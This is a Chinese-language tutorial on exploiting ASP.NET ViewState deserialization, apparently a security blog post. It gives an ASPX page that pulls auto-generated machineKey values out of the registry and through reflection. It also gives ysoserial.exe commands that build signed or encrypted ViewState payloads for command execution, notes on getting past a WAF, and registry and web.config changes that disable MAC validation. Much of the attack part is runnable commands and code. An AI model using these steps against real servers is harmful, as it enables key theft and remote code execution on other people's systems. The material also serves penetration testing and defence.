#ViewState 基本概念
HTTP模型是无状态的,这意味着每当客户端向服务端发起一个获取页面的请求时,都会导致服务端创建一个新的page类的实例,并且一个往返之后,这个page实例会被立刻销毁。如果想获取上一次请求的page实例的值,就可以利用VewState。
ASP.NET Web 应用程序使用ViewState来维护页面状态,并在Web表单中保留数据(当设置了ViewState runat = "server"
后,会有一个隐藏字段_ViewState)。一个页面被返回给客户端时,页面及其控件属性的变化将被确定,并存储在一个名为 _VIEWSTATE
的隐藏输入字段的值中。当页面再次向服务端发送请求时,_VIEWSTATE
字段将与HTTP请求一起发送到服务器。服务端对ViewState进行反序列化,获得属性,并赋给控件对应的值。
#反序列化与参数介绍
-
序列化
ASP.NET 有各种序列化和反序列化库称为 formatter ,它序列化对象到字节流。如
ObjectStateFormatter、LOSFormatter、BinaryFormatter
等。ASP.NET 使用LosFormatter序列化 ViewState,并将其作为隐藏的表单字段发送到客户端。一旦序列化ViewState 在 POST 请求期间被发送回服务器,它将使用 ObjectStateFormatter 进行反序列化。 -
相关参数
在web.config 可以使用以下的参数来开启或关闭ViewState的一些功能,例如:
<pages enableViewState="false" enableViewStateMac="false" viewStateEncryptionMode="Always" />
- 配置
ViewStateEncryptionMode="Always"
来启用ViewState的加密(仅影响ViewState的生成,不影响它的解密),保证ViewState不会发生信息泄露。(Always表示始终加密,Auto为默认值,表示调用RegisterRequiresViewStateEncryption() 方法请求才进行加密,Never表示永远不会对其进行加密) - 配置
enableViewStateMac="true"
在ViewState 中启用 MAC(消息身份验证代码,保证 ViewState 不受篡改,在反序列化期间对 ViewState 的值进行完整性检查)。 - 配置
enableViewState
用于设置是否开启viewState,但即使设置为false,ASP.NET服务器也始终被动解析 ViewState。
Tips: 从.NET 4.5.2 开始,强制启用ViewStateMac功能,即使将 EnableViewStateMac设置为false,也不能禁止ViewState的校验。
- 配置
#获取 MachineKey
-
如果主动在Web.config 配置,则读取Web.config即可。
1 2 3 4 5 6 7 8
<!--目前在最新版本的.NET Framework中,默认的验证算法是HMACSHA256,默认的解密算法是AES。--> <?xml version="1.0" encoding="UTF-8"?> <configuration> <system.web> <customErrors mode="Off" /> <machineKey validationKey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" decryptionKey="E9D2490BD0075B51D1BA5288514514AF" validation="SHA1" decryption="3DES" /> </system.web> </configuration>
-
通过注册表或反射从System.Web中获取。
参考:https://gist.github.com/irsdl/36e78f62b98f879ba36f72ce4fda73ab
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97
<%@ Page Language="C#" %> <% // Read https://soroush.secproject.com/blog/2019/05/danger-of-stealing-auto-generated-net-machine-keys/ Response.Write("<br/><hr/>"); byte[] autoGenKeyV4 = (byte[]) Microsoft.Win32.Registry.GetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\ASP.NET\\4.0.30319.0\\", "AutoGenKeyV4", new byte[]{}); if(autoGenKeyV4!=null) Response.Write("HKCU\\Software\\Microsoft\\ASP.NET\\4.0.30319.0\\AutoGenKeyV4: "+BitConverter.ToString(autoGenKeyV4).Replace("-", string.Empty)); Response.Write("<br/>"); byte[] autoGenKey = (byte[]) Microsoft.Win32.Registry.GetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\ASP.NET\\2.0.50727.0\\", "AutoGenKey", new byte[]{}); if(autoGenKey!=null) Response.Write("HKCU\\Software\\Microsoft\\ASP.NET\\2.0.50727.0\\AutoGenKey: "+BitConverter.ToString(autoGenKey).Replace("-", string.Empty)); Response.Write("<br/><hr/>"); var systemWebAsm = System.Reflection.Assembly.Load("System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"); var machineKeySectionType = systemWebAsm.GetType("System.Web.Configuration.MachineKeySection"); var getApplicationConfigMethod = machineKeySectionType.GetMethod("GetApplicationConfig", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic); var config = (System.Web.Configuration.MachineKeySection)getApplicationConfigMethod.Invoke(null, new object[0]); Response.Write("<b>ValidationKey:</b> "+config.ValidationKey); Response.Write("<br/>"); Response.Write("<b>DecryptionKey:</b> "+ config.DecryptionKey); Response.Write("<br/><hr/>"); var typeMachineKeyMasterKeyProvider = systemWebAsm.GetType("System.Web.Security.Cryptography.MachineKeyMasterKeyProvider"); var instance = typeMachineKeyMasterKeyProvider.Assembly.CreateInstance( typeMachineKeyMasterKeyProvider.FullName, false, System.Reflection.BindingFlags.Instance | System.Reflection.BindingFlags.NonPublic, null, new object[] { config, null, null, null, null }, null, null); var validationKey = typeMachineKeyMasterKeyProvider.GetMethod("GetValidationKey").Invoke(instance, new object[0]); byte[] _validationKey = (byte[])validationKey.GetType().GetMethod("GetKeyMaterial").Invoke(validationKey, new object[0]); var encryptionKey = typeMachineKeyMasterKeyProvider.GetMethod("GetEncryptionKey").Invoke(instance, new object[0]); byte[] _decryptionKey = (byte[])validationKey.GetType().GetMethod("GetKeyMaterial").Invoke(encryptionKey, new object[0]); Response.Write("<br/><b>ASP.NET 4.5 and above:</b><br/>"); Response.Write("<br/>"); Response.Write("<b>validationAlg:</b> "+config.Validation); Response.Write("<br/>"); Response.Write("<b>validationKey:</b> "+BitConverter.ToString(_validationKey).Replace("-", string.Empty)); Response.Write("<br/>"); Response.Write("<b>decryptionAlg:</b> "+config.Decryption); Response.Write("<br/>"); Response.Write("<b>decryptionKey:</b> "+BitConverter.ToString(_decryptionKey).Replace("-", string.Empty)); Response.Write("<br/><hr/>"); Response.Write("<br/><b>ASP.NET 4.0 and below:</b><br/>"); byte[] autogenKeys = (byte[])typeof(HttpRuntime).GetField("s_autogenKeys", System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Static).GetValue(null); int validationKeySize = 64; int decryptionKeySize = 24; byte[] validationKeyAuto = new byte[validationKeySize]; byte[] decryptionKeyAuto = new byte[decryptionKeySize]; System.Buffer.BlockCopy(autogenKeys, 0, validationKeyAuto, 0, validationKeySize); System.Buffer.BlockCopy(autogenKeys, validationKeySize, decryptionKeyAuto, 0, decryptionKeySize); string appName = HttpRuntime.AppDomainAppVirtualPath; string appId = HttpRuntime.AppDomainAppId; Response.Write("<br/>"); Response.Write("<b>appName:</b> "+appName); Response.Write("<br/>"); Response.Write("<b>appId:</b> "+appId); Response.Write("<br/>"); Response.Write("<b>initial validationKey (not useful for direct use):</b> "); Response.Write(BitConverter.ToString(validationKeyAuto).Replace("-", string.Empty)); Response.Write("<br/>"); Response.Write("<b>initial decryptionKey (not useful for direct use):</b> "); Response.Write(BitConverter.ToString(decryptionKeyAuto).Replace("-", string.Empty)); Response.Write("<br/>"); byte[] _validationKeyAutoAppSpecific = validationKeyAuto.ToArray(); int dwCode3 = StringComparer.InvariantCultureIgnoreCase.GetHashCode(appName); _validationKeyAutoAppSpecific[0] = (byte)(dwCode3 & 0xff); _validationKeyAutoAppSpecific[1] = (byte)((dwCode3 & 0xff00) >> 8); _validationKeyAutoAppSpecific[2] = (byte)((dwCode3 & 0xff0000) >> 16); _validationKeyAutoAppSpecific[3] = (byte)((dwCode3 & 0xff000000) >> 24); Response.Write("<b>App specific ValidationKey (when uses IsolateApps):</b> "); Response.Write(BitConverter.ToString(_validationKeyAutoAppSpecific).Replace("-", string.Empty)); Response.Write("<br/>"); byte[] _validationKeyAutoAppIdSpecific = validationKeyAuto.ToArray(); int dwCode4 = StringComparer.InvariantCultureIgnoreCase.GetHashCode(appId); _validationKeyAutoAppIdSpecific[4] = (byte)(dwCode4 & 0xff); _validationKeyAutoAppIdSpecific[5] = (byte)((dwCode4 & 0xff00) >> 8); _validationKeyAutoAppIdSpecific[6] = (byte)((dwCode4 & 0xff0000) >> 16); _validationKeyAutoAppIdSpecific[7] = (byte)((dwCode4 & 0xff000000) >> 24); Response.Write("<b>AppId Auto specific ValidationKey (when uses IsolateByAppId):</b> "); Response.Write(BitConverter.ToString(_validationKeyAutoAppIdSpecific).Replace("-", string.Empty)); Response.Write("<br/>"); byte[] _decryptionKeyAutoAutoAppSpecific = decryptionKeyAuto.ToArray(); //int dwCode3 = StringComparer.InvariantCultureIgnoreCase.GetHashCode(appName); _decryptionKeyAutoAutoAppSpecific[0] = (byte)(dwCode3 & 0xff); _decryptionKeyAutoAutoAppSpecific[1] = (byte)((dwCode3 & 0xff00) >> 8); _decryptionKeyAutoAutoAppSpecific[2] = (byte)((dwCode3 & 0xff0000) >> 16); _decryptionKeyAutoAutoAppSpecific[3] = (byte)((dwCode3 & 0xff000000) >> 24); Response.Write("<b>App specific DecryptionKey (when uses IsolateApps):</b> "); Response.Write(BitConverter.ToString(_decryptionKeyAutoAutoAppSpecific).Replace("-", string.Empty)); Response.Write("<br/>"); byte[] _decryptionKeyAutoAutoAppIdSpecific = decryptionKeyAuto.ToArray(); //int dwCode4 = StringComparer.InvariantCultureIgnoreCase.GetHashCode(appId); _decryptionKeyAutoAutoAppIdSpecific[4] = (byte)(dwCode4 & 0xff); _decryptionKeyAutoAutoAppIdSpecific[5] = (byte)((dwCode4 & 0xff00) >> 8); _decryptionKeyAutoAutoAppIdSpecific[6] = (byte)((dwCode4 & 0xff0000) >> 16); _decryptionKeyAutoAutoAppIdSpecific[7] = (byte)((dwCode4 & 0xff000000) >> 24); Response.Write("<b>AppId Auto specific DecryptionKey (when uses IsolateByAppId):</b> "); Response.Write(BitConverter.ToString(_decryptionKeyAutoAutoAppIdSpecific).Replace("-", string.Empty)); Response.Write("<br/>"); %>
#Payload 利用
生成ViewState需要禁用MAC验证或在(ASP.NET 4.0及以前版本知道验证密钥及其算法,ASP.NET 4.5及以后知道验证密钥、验证算法、解密密钥和解密算法)。
Tips: 即使目标从HTTP请求中删除了ViewState,也不影响利用,添加ViewState参数依旧会解析。
-
ASP.NET 4.0及以下(不需要指定decryptionKey及其算法)
执行命令
1 2 3 4 5
#知道generator就用--generator指定,就不用--apppath和--path参数了 ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > C:\windows\temp\ss.txt" --validationalg="HMACSHA256" --validationkey="B298BA4E89C9631254E60F7C6E60B3287554B5175906E3CF8C446D9D5EAB496CEA7C76460CBC3095A7ABFC9C71BBE7CA5276CD412BE2F5F142C0F7624062734E" --apppath="/" --path="/test.aspx" --islegacy --isdebug #--isencrypted参数可以加密__VIEWSTATE参数以绕过WAF #使用加密需要指定decryptionkey,并且在post请求中添加:__VIEWSTATEENCRYPTED=true参数 ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > C:\windows\temp\ss.txt" --validationalg="SHA1" --validationkey="B298BA4EFAF9568A702CECFE5C138BA1939E726D2DDE65EFBF940AA2A51BB580F6A4FAFB75B152F849C38B6417E9D2193737DA22D7AF63E210BF0FC37569CB53" --decryptionalg="AES" --decryptionkey="B298BA4EB3474EAE783D6A3295021698ECB183CDC9D407F1" --apppath="/" --path="/test.aspx" --islegacy --isdebug --isencrypted
-
ASP.NET 4.5及以上
执行命令
1
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > C:\windows\temp\ss.txt" --path="/test.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="3CEA67326F7D94ED9420C9686CEC65320EEA136215EE2A15" --validationalg="HMACSHA256" --validationkey="80A244313D442AFC027753337BC66F106E617EB5D56B540CEAF9595272002C4B"
-
禁用MAC验证的情况下利用
判断是否被禁用: 发送
__VIEWSTATE=AAAA
如果被没被禁用是会有MAC的报错的,但具体视实际情况而定。ysoserial.exe -o base64 -g TypeConfuseDelegate -f LosFormatter -c "echo 123 > C:\inetpub\wwwroot\ss2.txt"
禁用MAC的方法:
-
在未打补丁的机器,直接web.config配置
1 2 3 4 5 6 7
<?xml version="1.0" encoding="UTF-8"?> <configuration> <system.web> <customErrors mode="Off" /> <pages enableViewStateMac="false" /> </system.web> </configuration>
-
打了补丁的机器,可以通过注册表禁用
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
添加AspNetEnforceViewStateMac的值为0(重启生效)
-
在有ViewStateUserKey的情况下:
ViewStateUserKey 属性可用于抵御 CSRF 攻击。如果目标配置了ViewStateUserKey,那么需要将--viewstateuserkey
参数传递给ysoserial 生成Payload,不然是不会执行payload的。
#反序列化执行代码
如果要用ActivitySurrogateSelectorFromFile链执行代码,且目标在ASP.NET 4.8以上,需要先DisableTypeCheck。不然直接用这条链打的话,会报state到Pair的转换错误。
|
|
然后再利用ActivitySurrogateSelectorFromFile链执行代码。在code.cs中,写一个类(把需要执行的代码写在构造函数或者静态代码块中)反序列化时会实例化该类。
|
|
#测试代码
Tips: 测试的时候切换到ASP.NET 4.5,在Web.config 中配置<httpRuntime targetFramework="4.5" />
test.aspx
|
|
hello.aspx.cs
|
|